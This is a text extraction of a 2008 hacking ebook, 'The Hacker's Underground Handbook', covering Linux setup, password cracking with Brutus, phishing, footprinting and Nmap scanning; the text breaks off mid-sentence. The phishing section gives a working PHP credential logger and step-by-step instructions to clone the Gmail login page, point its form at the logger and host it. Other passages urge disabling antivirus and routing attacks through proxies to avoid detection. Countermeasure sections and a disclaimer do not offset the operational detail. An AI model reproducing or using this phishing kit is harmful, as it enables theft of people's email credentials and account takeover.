cybersecurity / 57. The Hacker's Underground Handbook.json
Kaballas's picture
Upload 27 files
2b50bb7 verified
{
"pages": [
{
"page_number": 1,
"text": "1 \n \n \n \nThe Hacker’s Underground Handbook \nLearn What it Takes to Crack Even the Most Secure Systems \n \nBy: David Melnichuk \nhttp://www.learn-how-to-hack.net \nhttp://www.MrCracker.com \n"
},
{
"page_number": 2,
"text": "2 \n \n \n \n \nCopyright Notice \n \nThis report may not be copied or reproduced unless specific permissions \nhave been personally given to you by the author David Melnichuk. Any \nunauthorized use, distributing, reproducing is strictly prohibited. \nLiability Disclaimer \n \nThe information provided in this eBook is to be used for educational \npurposes only. The eBook creator is in no way responsible for any misuse of the \ninformation provided. All of the information in this eBook is meant to help the \nreader develop a hacker defense attitude in order to prevent the attacks \ndiscussed. In no way should you use the information to cause any kind of \ndamage directly or indirectly. The word “Hack” or “Hacking” in this eBook \nshould be regarded as “Ethical Hack” or “Ethical hacking” respectively. \nYou implement the information given at your own risk. \n \n© Copyright 2008 Learn-How-To-Hack.net. All Rights Reserved. \n \n \n \n \n \n \n"
},
{
"page_number": 3,
"text": "3 \n \nTable of Contents \nA. Introduction..............................................................................................5 \n1. How can I use this eBook? \n2. What is a hacker \n3. Hacker Hierarchy \n4. What does it take to become a hacker? \n5. Disclaimer \nB. Programming............................................................................................9 \n1. Do I really need it? \n2. Where should I start? \n3. Best way to learn \nC. Linux.......................................................................................................12 \n1. What is it? \n2. Choosing a distribution \n3. Running Linux \n4. Learning Linux \nD. Passwords...............................................................................................33 \n1. Password Cracking \n2. Phishing \n3. Countermeasures \n4. More Programs \nE. Network Hacking.....................................................................................48 \n1. Foot printing \n2. Port Scanning \n3. Banner Grabbing \n4. Searching for Vulnerabilities \n5. Penetrating \n6. Countermeasures \nF. Wireless Hacking.....................................................................................70 \n1. Scanning for Wireless Networks \n2. Cracking WEP \n3. Packet Sniffing \n"
},
{
"page_number": 4,
"text": "4 \n \n4. Countermeasures \nG. Windows Hacking...................................................................................79 \n1. NetBIOS \n2. Cracking Windows Passwords \n3. Countermeasures \nH. Malware.................................................................................................93 \n1. Definitions \n2. ProRat \n3. Countermeasures \nI. Web Hacking.........................................................................................104 \n1. Cross Site Scripting \n2. Remote File Inclusion \n3. Local File Inclusion \nJ. Conclusion............................................................................................114 \n1. Congratulations \n2. Keep Learning \n3. www.MrCracker.com \n \n \n \n \n \n \n \n \n \n \n \n"
},
{
"page_number": 5,
"text": "5 \n \n \n \n \n \n \n \n \n \n \nChapter One \nIntroduction \n \n \n \n \n \n \n \n \n \n \n"
},
{
"page_number": 6,
"text": "6 \n \n \nHow can I use this eBook? \n \nCongratulations! By purchasing this eBook, you have taken your first step \nin the exciting process of becoming a Master Hacker. The knowledge you acquire \nfrom this eBook can be put to use in many ways: \n• With the ability to think like a hacker, you’ll be able to protect yourself \nfrom hackers attacking you. \n• You may wish to seek a career in Ethical Hacking – Usually hired by an \norganization, an ethical hacker uses the same tools and techniques as a \nhacker to find and secure vulnerabilities in computer systems. \no http://www.jobster.com/find/US/jobs/for/ethical+hacker \no http://www.indeed.com/q-ethical-hacker-jobs.html \n• Show off your newfound skills to your friends, and just hack because you \nwant to. It’s FUN!! \n \n What is a hacker? \n \nA hacker is someone who likes to tinker with electronics or computer \nsystems. Hackers like to explore and learn how computer systems work, finding \nways to make them do what they do better, or do things they weren’t intended to \ndo. There are two types of hackers: \nWhite Hat – These are considered the good guys. White hat hackers don’t use \ntheir skills for illegal purposes. They usually become Computer Security experts \nand help protect people from the Black Hats. \nBlack Hat – These are considered the bad guys. Black hat hackers usually use their \nskills maliciously for personal gain. They are the people that hack banks, steal \ncredit cards, and deface websites. \nThese two terms came from the old western movies where the good guys wore \nwhite hats and the bad guys wore black hats. \n"
},
{
"page_number": 7,
"text": "7 \n \nNow if you’re thinking, “Oh boy! Being a black hat sounds awesome!”, Then I have \na question for you. Does it sound cool to live in a cell the size of your bathroom \nand be someone’s butt buddy for many years? That’s what I thought. \n \nHacker Hierarchy \nScript kiddies – These are the wannabe hackers. They are looked down upon in \nthe hacker community because they are the people that make hackers look bad. \nScript kiddies usually have no hacking skills and use the tools developed by other \nhackers without any knowledge of what’s happening behind the scenes. \nIntermediate hackers – These people usually know about computers, networks, \nand have enough programming knowledge to understand relatively what a script \nmight do, but like the script kiddies they use pre-developed well-known exploits (- \na piece of code that takes advantage of a bug or vulnerability in a piece of software that allows \nyou to take control of a computer system) to carry out attacks \nElite Hackers – These are the skilled hackers. They are the ones that write the \nmany hacker tools and exploits out there. They can break into systems and hide \ntheir tracks or make it look like someone else did it. You should strive to \neventually reach this level. \n \n \n \n \nWhat does it take to become a hacker? \n \nBecoming a great hacker isn’t easy and it doesn’t happen quickly. Being \ncreative helps a lot. There is more than one way a problem can be solved, and as \na hacker you encounter many problems. The more creative you are the bigger \nchance you have of hacking a system without being detected. Another huge \n"
},
{
"page_number": 8,
"text": "8 \n \nquality you must have is the will to learn because without it, you will get \nnowhere. Remember, Knowledge is power. Patience is also a must because many \ntopics can be difficult to grasp and only over time will you master them. \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n"
},
{
"page_number": 9,
"text": "9 \n \n \n \n \n \n \n \n \nChapter Two \nProgramming \n \n \n \n \n \n \n \n \n \n \n \n"
},
{
"page_number": 10,
"text": "10 \n \n \nDo I Really Need It? \n \nYou might be asking yourself, do I even need to learn a programming \nlanguage? The answer to that is both yes and no. It all depends on what your \ngoals are. Nowadays, with all the point and click programs out there, you can be a \nfairly good ethical hacker without knowing any programming. You can do some \neffective hacking if you understand all of the security tools very well. Even if you \nunderstand what’s going on in the background of these programs, most people \nwill still classify you as a script kiddie. Personally I think you should learn some \nprogramming. Even if it’s the very basics, it’ll give you a much better \nunderstanding of what’s going on. Also, once you learn how to program well, \nyou’ll be able to develop your own exploits, which is great in many ways: \n1. You’ll be considered an elite hacker. \n2. Imagine a black hat discovers a vulnerability and codes an exploit for it \nthat no one else knows about. The black hat would be able to take down \nthousands of machines before anyone discovers and patches the \nvulnerability. \n3. You will feel so much more satisfied having created your own program \nor exploit. I promise you this. \nSo my advice is, don’t settle for being a point and click hacker. Take some time to \nunderstand even just the basics of programming and an entire new world of \nhacking will open up to you. \n \n \n Where should I start? \n \nMany people finally decide that they are going to begin learning a \nprogramming language, but don’t know where to start. I believe that before you \nbegin to learn a programming language, you should first master HTML (HyperText \nMarkup Language). HTML is part of what makes up all of the website pages you \nsee on the internet. HTML is very easy to learn and it’ll get you used to looking at \nsource code. \n"
},
{
"page_number": 11,
"text": "11 \n \n \nFrom there I would suggest starting your programming life with C. C is one \nof the most popular languages, and it is what makes up the majority of the \nexploits out there today. C also makes up some of the most powerful hacking \nprograms and viruses that are out there today. \n \nBest way to learn \nSo how should I go about learning the programming language of my choice? \n1. Purchase a beginners book on your programming language. Before you \nchoose the book, make sure you read the reviews to make sure it’s a \ngood choice. \n2. It is important that once you begin learning the programming language \nthrough your book, you don’t take big breaks. Taking long breaks will \ncause you to forget things you learned in the beginning that apply to the \nrest of the book. \n3. Do ALL of the practice problems provided in the book. The only way you \nwill become better is by applying what you learn. \n4. When something difficult comes up or something that makes no sense \nto you, don’t avoid or skip it. Instead embrace it! This is how you \nactually learn. If you still don’t understand it after going over it multiple \ntimes, find someone that can help you. \n5. Join a programming forum. Search for a website on your programming \nlanguage that has a large user base. There will be many professionals on \nthere that will be able to help you when you get stuck. \n6. Practice. Practice Practice. Think of ideas for fun programs that you \ncould make and program them! \n \n \n \n"
},
{
"page_number": 12,
"text": "12 \n \n \n \n \n \n \n \n \n \n \n \nChapter Three \nLinux \n \n \n \n \n \n \n \n \n \n \n"
},
{
"page_number": 13,
"text": "13 \n \n \nWhat is it? \n \nLinux is a free, open-source, UNIX-like operating system. As you continue to \nlearn how to hack, you will realize how important it is to learn how to use the \nLinux operating system. Need some convincing? Here are a couple facts: \n1. Millions of servers on the internet run on the Linux operating system. \nYou must learn the operating system to be able to penetrate these web \nservers. \n2. Some of the best hacking programs only run on Linux. \n \nChoosing a distribution \n \nA Linux distribution is the Linux kernel (- central component of an operating \nsystem.) plus a collection of applications. If you are a beginner to Linux, I would \nsuggest starting with Ubuntu as your first Linux distribution. It is simple to install \nand very user friendly. To see a full list of the most popular distributions can go to \nhttp://distrowatch.com . \n \nRunning Linux \n \nThere are many ways to get Linux up and running. I will show you the most \npopular methods below. \nLive CD’s are usually used to test and play around with a Linux distribution. \nWith a Live CD, you do not have to install the OS (operating system) onto your \nhard drive because it runs off the disc on boot. Because it is running off a disc, you \nwon’t be able to permanently modify any system files. Everything you do will be \nstored temporarily in your RAM. Below are the steps to create a Live CD. \nLive CD \n"
},
{
"page_number": 14,
"text": "14 \n \n1. Download the Ubuntu Live CD .iso file from www.ubuntu.com . \n \n \n"
},
{
"page_number": 15,
"text": "15 \n \n \n \n2. Download and install IsoRecorder at \nhttp://isorecorder.alexfeinman.com/isorecorder.htm and burn \nthe Ubuntu .iso file onto a blank CD with the software. \n \n \n"
},
{
"page_number": 16,
"text": "16 \n \n \nOnce you have downloaded and installed the IsoRecorder software \nlocate the Ubuntu image file, right click and select Copy image to CD \nand follow the rest of the steps shown in the image. \n \n \n \n"
},
{
"page_number": 17,
"text": "17 \n \n \n \n \n3. Restart the computer with the newly made CD in the CD-ROM. \nIf your computer doesn’t boot from the CD and continues into Windows, you \nmust change your computer’s boot order. You can do this by restarting your \ncomputer and going into BIOS. You get there by hitting the correct key constantly. \nIf you see the Windows screen, it means you missed it. The key varies from \nsystem to system. Usually it is a function key such as F10. It may also be the DEL \nor ESC key. The key should be shown on your screen immediately after you boot \nup your computer. It is usually the key pointing to “Setup”. \n"
},
{
"page_number": 18,
"text": "18 \n \n \n \n \nPicture property of www.cyberwalker.com \n \n \nOnce you are in the BIOS, select “Boot Sequence” and make sure CD-ROM is set \nto the first one. If it’s not, move it up. All what this does is makes sure your CD-\nROM boots before your hard drive. \n"
},
{
"page_number": 19,
"text": "19 \n \n \nPicture property of www.cyberwalker.com \n \nPicture property of www.cyberwalker.com \n \n \nIf all went well, you should see the Ubuntu boot options screen. \n"
},
{
"page_number": 20,
"text": "20 \n \n \nYou will first see a window full of countries. Once you select yours you will see the \nmain Ubuntu screen. From here choose the first option to try Ubuntu without any \nrisks. Once the Ubuntu desktop has loaded and you decide you like what you see, \nyou have the option to install it by clicking on the install button on the desktop. \n \n \nWubi is my favorite option. With the Wubi installer you can install \nand uninstall Ubuntu as any other Windows application. You can use the \nLive CD version to install Wubi if you followed the steps above and \ndownloaded it. Or you can download the full 5 gigabyte version from \nWubi \nhttp://wubi-installer.org/ . \n \n1. If you downloaded the full 5 gigabyte file, double click it to run it. If you \nare using the previously downloaded Live CD version, then insert your \nUbuntu Live CD. A Ubuntu CD menu should come up. \n \n"
},
{
"page_number": 21,
"text": "21 \n \n \n \n2. Choose: Install inside Windows \n3. In the next window, choose the appropriate options and click install. \n \n \n \n"
},
{
"page_number": 22,
"text": "22 \n \n4. Wait for it to fully install and hit finish. Simple, eh? \n \n \n \n \n"
},
{
"page_number": 23,
"text": "23 \n \n5. Reboot the computer. Before Windows loads, a screen will come up that \ngives you an option to boot into Windows or Ubuntu. Arrow down to \nUbuntu and hit <ENTER>. \n6. Ubuntu will begin to load. Since this is your first time starting Ubuntu, it \nwill install and configure a bunch of things, and restart again. \n7. Boot into Ubuntu again and you’re good to go! \n \n \nThis is by far my favorite way to run any Linux distribution if I just want to \ntry it out. With VirtualBox you can run Linux within a Windows or Mac computer. \nVirtualBox \n1. First download VirtualBox at \nhttp://www.virtualbox.org/wiki/Downloads . \n2. Install it. \n3. Open it up and click New on the top. \n \n4. Hit Next. \n \n"
},
{
"page_number": 24,
"text": "24 \n \n5. Name it and choose Ubuntu from the drop-down list. \n \n6. Choose the amount of RAM you would like to dedicate to running \nLinux. Choose about ¼ to ½ of your total RAM. I have 2 gigs of RAM, \nso I chose 512 MB. \n \n7. Hit Next. \n"
},
{
"page_number": 25,
"text": "25 \n \n \n8. Here we choose whether we would like to create a dynamic or fixed \nhard disk image. If you have lots of space on your hard disk, I would \ngo with a dynamic image so if you choose to download lots of \nprograms it won’t be a problem. If you have limited drive space, you \nshould go with a fixed-size image so that you don’t have to worry \nabout going over too much. \n \n \n"
},
{
"page_number": 26,
"text": "26 \n \n9. Choose the amount of gigabytes you would like to dedicate to \nrunning Linux. I would go with 2 GB at the least. \n \n10. Simply hit Finish. \n \n \n \n \n"
},
{
"page_number": 27,
"text": "27 \n \n11. It automatically selects the image you just created. Hit Next. \n \n12. You’re almost done! Hit Finish. \n \n \n \n"
},
{
"page_number": 28,
"text": "28 \n \n13. You are now back at the main page. Here you will click CD/DVD-\nROM. \n \n14. Check Mount CD/DVD Drive and choose ISO Image File. \n \n \n \n \n"
},
{
"page_number": 29,
"text": "29 \n \n \n15. If you downloaded the Ubuntu image file in the beginning, locate it \nand select it. If you haven’t downloaded it yet, go to the beginning of \nthis chapter where I have a step-by-step guide. \n \n16. Hit Select. \n \n \n"
},
{
"page_number": 30,
"text": "30 \n \n17. You will come back to where you started. Hit OK. \n \n18. You will now see the main screen again. Click on START in the top \nleft corner. \n \n \n \n \n \n \n \n \n \n \n"
},
{
"page_number": 31,
"text": "31 \n \n19. You will see Ubuntu boot up in a small pop-up screen. Choose the \noption “Try Ubuntu”. If you see a list of countries instead of the list \nshown below, select yours and hit <ENTER>. Make sure you are \nworking in the Virtual Environment by clicking into the Ubuntu \nwindow. \n \n \n \n \n \n \n \n"
},
{
"page_number": 32,
"text": "32 \n \nLearning Linux \n \nNow that you have Ubuntu up and running you might be wondering what \nto do next. You should now start to learn and eventually master the Linux \ndistribution of your choice. You’ll find that almost every distribution has a massive \ncommunity that is ready to help you, and it’s only a Google search away! For \nexample if you choose to stick with Ubuntu, http://ubuntuforums.org/ has a \ncommunity of 700,000 members! So if you have a question or problems ask away, \nthere will always be someone out there with a solution. \nI would also recommend buying a book. Reading is the best way to gain \nknowledge. Below I have a list of some great books you should take a look at. \n• A Practical Guide to LinuxI Commands, Editors, and Shell Programming \n• Understanding the Linux Kernel, Third Edition \n• A Practical Guide to Ubuntu LinuxI \n• How Linux Works \n \nThere are many websites on the internet dedicated to teaching the community \nabout Linux. Below I have a list of a few good ones: \n• Official Linux Website \n• Begin Linux \n• Linux Tutorials \nFor those of you that are visual learners, below are two great video courses. \n• Introduction to Linux \n• Ubuntu Linux Tutorials \n \nThe resources listed above are more than enough for you to master the ins and \nouts of Linux. So choose a book, website, or video and begin to take in some more \nknowledge! \n"
},
{
"page_number": 33,
"text": "33 \n \n \n \n \n \n \n \n \n \n \nChapter Four \nPasswords \n \n \n \n \n \n \n \n \n \n"
},
{
"page_number": 34,
"text": "34 \n \n \nNowadays, passwords are the only form of security on most websites and \ncomputer systems. It has become one of the most common and easiest ways for a \nhacker to gain unauthorized access to your computer or network. \n \nPassword Cracking \nBefore we get into cracking passwords with programs, I will explain a \ncouple old-fashioned ways to obtain someone’s password. \n• Social Engineering – Social engineering is when a hacker takes \nadvantage of trusting human beings to get information from them. \nFor example, if the hacker was trying to get the password for a co-\nworkers computer, he (Even though I use “he”, hackers are of both \ngenders, and I just chose to use “he” in these examples.) could call \nthe co-worker pretending to be from the IT department. The \nconversation could be something like: \n \nBob- “Hello Suzy. My name is Bob and I’m from the IT \ndepartment. We are currently attempting to install a new \nsecurity update on your computer, but we can’t seem to \nconnect to the user database and extract your user \ninformation. Would you mind helping me out and letting me \nknow your password before my boss starts breathing down my \nneck? It’s one of those days, ya’ know?” \nSuzy would probably feel bad for Bob and let him know her password \nwithout any hesitation. BAM! She got social engineered. Now the \nhacker can do whatever he pleases with her account. \n• Shoulder surfing – Shoulder surfing is exactly what it sounds like. The \nhacker would simply attempt to look over your shoulder as you type \nin your password. The hacker may also watch weather you glance \naround your desk, looking for a written reminder or the written \npassword itself. \n• Guessing – If you use a weak password, a hacker could simple guess \nit by using the information he knows about you. Some examples of \n"
},
{
"page_number": 35,
"text": "35 \n \nthis are: date of birth, phone number, favorite pet, and other simple \nthings like these. \n \nNow that we have the simple low-tech password cracking techniques \nout of the way, let’s explore some high-tech techniques. Some of the \nprograms I will use in my examples may be blocked by your anti-virus \nprograms when you attempt to run them. Make sure you disable your anti-\nvirus program when you decide to download and explore them. \nThere are different ways a hacker can go about cracking a password. \nBelow I will explain and give an example of each way. \n \nA dictionary attack is when a text file full of commonly used passwords, or a \nlist of every word from the dictionary is used against a password database. Strong \npasswords usually aren’t vulnerable to this kind of attack. In the following \nexample, I will use Brutus, a very common password cracker, to show a dictionary \nattack against an ftp server. Brutus is a Windows only program, but at the end of \nthis chapter I will list a couple more password crackers, some of which are made \nfor Mac, Windows, and Linux. \nDictionary Attacks \nBefore I get into the example, you must first know what an FTP server is. \nFTP stands for File Transfer Protocol. FTP is a simple way to exchange files over \nthe internet. If a hacker got FTP access to my website, he could delete/upload \nanything he wants on my server. An FTP address looks similar to a website \naddress except it uses the prefix ftp:// instead of http://. I set up an FTP server \non my computer so I could demonstrate. You can get Brutus at \nhttp://www.hoobie.net/brutus/ . \n1. First the hacker would choose a target. In this case it’s my home \ncomputer and the IP address for your home computer is 127.0.0.1 . \n2. By going to ftp://127.0.0.1 I get a pop-up box asking for a username and \npassword. \n"
},
{
"page_number": 36,
"text": "36 \n \n \n \n3. Next the hacker would launch a program similar to Brutus and attempt \nto crack the password. \n \n4. In the target you put the IP address of the website and to the right \nselect the appropriate option, which in this case is FTP. \n5. The default port is 21 but some websites change this to make them a \nlittle more secure. If you find out that the port isn’t 21, you can find the \nright one by doing a port scan. We will get into this later in the book. \n6. If you don’t know any of the usernames for the FTP server, then you will \nhave to get a list of the most common usernames. \n7. For a dictionary attack you will have to choose the pass mode Word List \nand browse and select the file containing your word list. You can get \nsome good password lists at \n"
},
{
"page_number": 37,
"text": "37 \n \nhttp://packetstormsecurity.org/Crackers/wordlists/ . Below are \nexamples of what a username and password list might look like. \n \n \n8. Once you hit Start the program will attempt to connect to the server and \nbegin to try all the possible combinations from your lists. \n \n \n9. If you’re lucky, eventually it’ll get the right Username:Password \ncombination. As you can see below, it got the correct combination of \nusername – admin and password – password. \n"
},
{
"page_number": 38,
"text": "38 \n \n \n10. A smarter hacker would use a proxy when using a program like this. \nWhat a proxy does is cloaks your IP address by sending your connection \nrequest through another computer before going to the target. This is a \nsmart idea because as you will see in the image below, Brutus leaves a \nhuge log of your presence on the target server. \n \n \n"
},
{
"page_number": 39,
"text": "39 \n \n11. In place of the IP address 127.0.0.1 would be the hackers IP address. \nFootprints like these get a hacker caught and into a lot of trouble with \nthe law. \n \n \nWith time, brute-force attacks can crack any passwords. Brute-force attacks \ntry every possible combination of letters, numbers, and special characters until \nthe right password is found. Brute-force attacks can take a long time. The speed is \ndetermined by the speed of the computer running the cracking program and the \ncomplexity of the password. Below I will show you how Brutus can be used \nagainst the same FTP server but this time using the brute-force option. \nBrute-force Attacks \n1. Put in the target and port the same way you did for the dictionary attack. \nFor the pass mode choose Brute-force and click range. \n \n \n \n2. If you have an idea of what the password might be, then you can choose \nthe right option. For example if you know a site that requires your \npassword to be a certain length then you’ll know what to put down as a \n"
},
{
"page_number": 40,
"text": "40 \n \nminimum length thus narrowing down the end results and shortening the \ncracking process. \n \n \n3. I chose lowercase alpha which has the second smallest amount of \ncombinations. Even at second smallest it came up with 321, 272,407 \npossible password combinations. Now you know why it can take so long to \ncrack one password. \n \n \n \nA Rainbow table is a huge pre-computed list of hash values for every \npossible combination of characters. A password hash is a password that has gone \nthrough a mathematical algorithm that transformed it into something absolutely \nforeign. A hash is a one way encryption so once a password is hashed there is no \nway to get the original string from the hashed string. A very common hashing \nalgorithm used as security to store passwords in website databases is MD5. \nRainbow Tables \nLet’s say you are registering for a website. You put in a username and \npassword. Now when you submit, your password goes through the MD5 \nalgorithm and the outcome hash is stored in a database. Now since you can’t get \nthe password from the hash, you may be wondering how they know if your \npassword is right when you login. Well when you login and submit your username \n"
},
{
"page_number": 41,
"text": "41 \n \nand password, a script takes your password and runs it through the md5 \nalgorithm. The outcome hash is compared to the hash stored in the database. If \nthey are the same, you are admitted. \nIf I were to run the word “cheese” through the md5 algorithm, the \noutcome would be fea0f1f6fede90bd0a925b4194deac11. Having huge tables of \nevery possible character combination hashed is a much better alternative to \nbrute-force cracking. Once the rainbow tables are created, cracking the password \nis a hundred times faster than brute-forcing it. I will show an example of rainbow \ntable cracking when we get into Windows password cracking. \n \nPhishing \n \nPhishing is the process of stealing sensitive information, such as \nusernames, passwords, and bank information, by pretending to be someone \nyou’re not. An example of this would be if you receive and e-mail from a hacker \npretending to be your bank. In this e-mail, it might tell you that you need to \nupdate your account before it expires, and then the hacker provides a link. Once \nyou click on the link, you arrive at a website that looks exactly like your actual \nbank page. In reality it’s just a perfect replica, and when you input your login \ndetails, it sends it to the hackers email or stores it on his web server. Hackers that \ncreate the best, most deceiving phishing web pages are knowledgeable in the \narea of HTML and the PHP programming. Below I will show a simple example of \nsome of the steps a hacker might take to create a phishing website. By seeing the \nsteps a hacker would take, will help you defend against such an attack. \n1. First the hacker chooses a target. The most popular targets for phishing \nattacks are e-mail services such as Hotmail and Gmail because they are \nthe most common and once a hacker gets access to your e-mail, he also \ngets access to a load of other user information for all the other websites \nyou use. In this example we will pretend the hacker chose Gmail as his \ntarget. \n2. After choosing his target, the hacker will go to the website and save the \nwhole main page. I use Mozilla Firefox ,(highly recommend using this \nbrowser for its security and customization.) So I would go to \nwww.gmail.com and click File -> Save page as… , or simply hit <CTR> + S \n"
},
{
"page_number": 42,
"text": "42 \n \nwhich does this automatically. Choose where you would like to save the \nweb page and hit Save. \n \n \n3. Once you have it saved, rename ServiceLogin.htm to index.htm. The \nreason you want to name it “index” is so when you upload it to a web \nhost and someone goes to your link, the index page is the first page that \nshows up. \n4. Next the hacker would create a PHP script to do his dirty deed of \nsteeling your information. Below is a simple PHP script that logs and \nstores your login details when you click “Sign in”. To see how it works, \ncopy and paste the following code into notepad. Next save it into the \nsame directory as you saved the Gmail page, and name it phish.php. In \naddition to the phish.php page, create a new empty text file and name it \nlist.txt. \n"
},
{
"page_number": 43,
"text": "43 \n \n \n<?php // This marks the beginning of the PHP script. \n \nHeader(“Location: \nhttps://www.google.com/accounts/ServiceLogin?service=mail&passive=\ntrue&rm=false&continue=http%3A%2F%2Fmail.google.com%2Fmail%2F\n%3Fui%3Dhtml%26zy%3Dl&bsv=1k96igf4806cy&ltmpl=default&ltmplcac\nhe=2 “); // once you click “Sign in” in the fake website, this redirects \nyou to the real Gmail website, making the whole process look more \nlegit. \n \n$handle = fopen(“list.txt”, “a”); // this tells the server to open the file \n“list.txt” and get it ready for appending data. Which in this case is your \nusername and password. \n \nForeach($_GET as $variable => $value) { \n fwrite($handle, $variable); \n fwrite($handle, “=”); \n fwrite($handle, $value); \n fwrite($handle, “\\r\\n”); \n} // This section simply assigns all the information going through \nthis form to a variable. This includes your username and password. \nFwrite($handle, “\\r\\n”); // This writes your details to the file “list.txt” \nfclose($handle); // This simply closes the connection to the file \n“list.txt” \nexit; \n?> // Marks the end of the PHP program. \n \nSo far you should see the following in your folder: \n \n \n \n"
},
{
"page_number": 44,
"text": "44 \n \n5. Now the hacker would have to edit the main Gmail page to include his \nPHP script. To see what the hacker would do, open up the main Gmail \npage named index.htm with notepad. \n6. Hit <CTR> + F , or go to Edit -> Find , type in action and hit “Find Next”. \n \n \n7. This will highlight the first occurrence of the word “action” in the script \nand you should see the following: \n \n \nThere are two “action” occurrences in the script so make sure you have \nthe right one by looking at the “form id” name above. Change the link \nbetween action = “ “ to phish.php . This will make the form submit to \nyour PHP phish script instead of to Google. After the link you will see the \ncode: \n \nChange the word “POST” to “GET” so that it looks like method=”GET”. \nWhat the GET method does is submit the information you type in \nthrough the URL so that the PHP script can log it. \n \n8. Save and close the file. \n9. Next the hacker would upload the files up to a free webhost that \nsupports PHP. With a simple Google search you can come up with a \nbunch that fall under this category. \n10. Once all the files are uploaded, you must give writing permissions to the \n“list.txt” file. Every hosting company should have a CHMOD option next \nto each file. Select this option and change the file permission for \n“list.txt” to 777. If you can’t figure out how to do this, ask people that \nuse the same host or simply Google something similar to: \n“yourwebhostname chmod”. \n"
},
{
"page_number": 45,
"text": "45 \n \n11. Once everything is up and ready to go, go to the link your host provided \nyou for your website and you should see the Gmail page replica. Type in \na username/password and click Sign in. This should have redirected you \nto the real Gmail page. \n12. Now go take a look at your list.txt file by going through your hosting file \nmanager or going to \nhttp://www.yourwebhosturl.com/youraccount/list.txt. Although this is \nthe most common, the web host you use may provide a different \nlooking URL. Now if I put a username of “myusername” and a password \nof “mypassword” then “list.txt” would now look like the following: \n \nAs you can see if you fell for this the hacker would have your email and \npassword. Scary, eh? \n \nCountermeasures \n \n \nI will now show you all the countermeasures you should take to \nprotect yourself from all of the password cracking attacks talked about \nin this chapter. \n \n \nSocial Engineering \n \nTo protect yourself from social engineering attacks like the one \ndiscussed in this chapter you must learn to question the possible \nattacker. If you get a phone call from someone, and you think that there \nmay be a chance that the person isn’t who he says he is, then ask him \nsome questions that he should be able to answer to establish his \nlegitimacy. Some professional social engineers study the company \nbefore attacking, so they might know all the answers. That’s why, if you \nstill have some doubts, you should ask the head of whatever \n"
},
{
"page_number": 46,
"text": "46 \n \ndepartment the attacker is from to find out if he is legit. Better safe than \nsorry. \n \n \n \n \nWhen you type in your password make sure there is no one behind you \nattempting to peak. If there is, turn around and drop kick him/her in the face. No \nnot really. Also, make sure you don’t keep any sticky notes laying around that \nhave your password or password hints on them. \nShoulder Surfing \n \n \nTo prevent this attack from happening, never use a password like your birth \ndate, your mother’s maiden name, your pets name, your spouse’s name, or \nanything that someone may be able to guess. \nGuessing \n \n \nDictionary attacks are very simple to prevent. Don’t use a password that is \nin the dictionary. Some people may think that if they use a word from the \ndictionary but replace most of the letters with a number, then they are safe. They \nare not. There are 1337 speak dictionary’s out there too. Basically what 1337 \nspeak is, is changing a word like “animal” to 4n1m41. For a secure password, I \nwould recommend using a phrase such as “doyoulikecheese?88”. \nDictionary Attacks \n \n \nBrute-force attacks may be prevented by creating a very long password and \nusing many numbers and odd characters. The longer the password the longer it \ntakes for the hacker to crack your password. If after a few days the hacker hasn’t \nbeen able to crack your password through a brute-force attack, then he is very \nlikely to just give up. Like I said in the dictionary attacks, creating a phrase for your \npassword is your best option for staying secure. \nBrute-force Attacks \n"
},
{
"page_number": 47,
"text": "47 \n \n \n \nYou can avoid rainbow table cracking by simply making your password \nextremely long. Creating tables for passwords that are long takes a very long time \nand a lot of resources. That is why there aren’t many of these tables available. \nRainbow Tables \n \n \nPhishing attacks are very simple to avoid. When you are asked to put your \npersonal information into a website, look up into the URL bar. If for example you \nare supposed to be on Gmail.com and in the URL bar it says something completely \ndifferent like gmail.randomsite.com, or gamilmail.com, then you know this is a \nfake. When you are on the real Gmail website, the URL should begin with \nPhishing \nwww.google.com anything else is a fake. \n \n \n \nMore Programs \n \nNow that you know what password cracking is, you might be interested in \nlearning some more of the popular cracking software I have listed below: \n• Can and Abel \n• John the Ripper \n• THC Hydra \n• SolarWinds \n• RainbowCrack \n \n \n \n \n \n"
},
{
"page_number": 48,
"text": "48 \n \n \n \n \n \n \n \n \n \n \n \n \nChapter Five \nNetwork Hacking \n \n \n \n \n \n \n \n \n"
},
{
"page_number": 49,
"text": "49 \n \n \nFootprinting \n \nFootprinting is the act of gathering information about a computer system \nand the companies it belongs to. Footprinting is the first step hackers take in their \nhacking process. Footprinting is important because to hack a system the hacker \nmust first know everything there is to know about it. Below I will give you \nexamples of the steps and services a hacker would use to get information from a \nwebsite. \n1. First, a hacker would start gathering information on the targets website. \nThings a hacker would look for are e-mails and names. This information \ncould come in handy if the hacker was planning to attempt a social \nengineering attack against the company. \n2. Next the hacker would get the IP address of the website. By going \ntohttp://www.selfseo.com/find_ip_address_of_a_website.php and \ninserting the web site URL, it will spit out its IP address. \n \n3. Next the hacker would Ping the server to see if it is up and running. There’s \nno point in trying to hack an offline server. http://just-ping.com pings a \nwebsite from 34 different locations in the world. Insert the website name \nor IP address and hit “Ping”. If all packets went through, then the server is \nup. \n"
},
{
"page_number": 50,
"text": "50 \n \n \n \n4. Next the hacker would do a Whois lookup on the company website. Go to \nhttp://whois.domaintools.com and put in the target website. As you can \nsee this gives a HUGE amount of information about the company. You see \nthe company e-mails, address, names, when the domain was created, when \nthe domain expires, the domain name servers, and more! \n5. A hacker can also take advantage of search engines to search sites for data. \nFor example, a hacker could search a website through Google by searching \n“site:www.the-target-site.com” this will display every page that Google has \nof the website. You could narrow down the number of results by adding a \nspecific word after. For example the hacker could search “site:www.the-\ntarget-site.com email”. This search could list several emails that are \npublished on the website. Another search you could do in Google is \n“inurl:robots.txt this would look for a page called robots.txt. If a site has the \nfile “robots.txt”, it displays all the directories and pages on the website that \nthey wish to keep anonymous from the search engine spiders. Occasionally \n"
},
{
"page_number": 51,
"text": "51 \n \nyou might come across some valuable information that was meant to be \nkept private in this file. \nNow that the basics of footprinting have been explained, we will \nmove on to port scanning. \n \n Port Scanning \nThe point of port scanning a server is to detect its open ports the port’s \nlistening services. Once a hacker knows all the services running on your server, he \ncould search for possible vulnerabilities they may have and exploit them to take \ncontrol of your website. In the port scanning example we will use the most \npopular port scanner: Nmap. The Nmap Security Scanner is available for both Mac \nand Windows users: http://nmap.org/download.html . The example will be shown \nusing the Nmap GUI (Graphical User Interface). Otherwise known as Zenmap. \n1. First the hacker would choose a target and place it in the target box. As you \ncan see the “Command:” section gets updated as well. This is what the \ncommand would look like if you were running the CLI version. \n \n \n \n \n2. Next the hacker would choose the “Profile:”, or in other words, the scan \ntype. A smart hacker would go with a quick and quiet scan. Full version \ndetection scans are very loud and could raise suspicion on the other end. \nStay away from those options because as you will see later on, there are 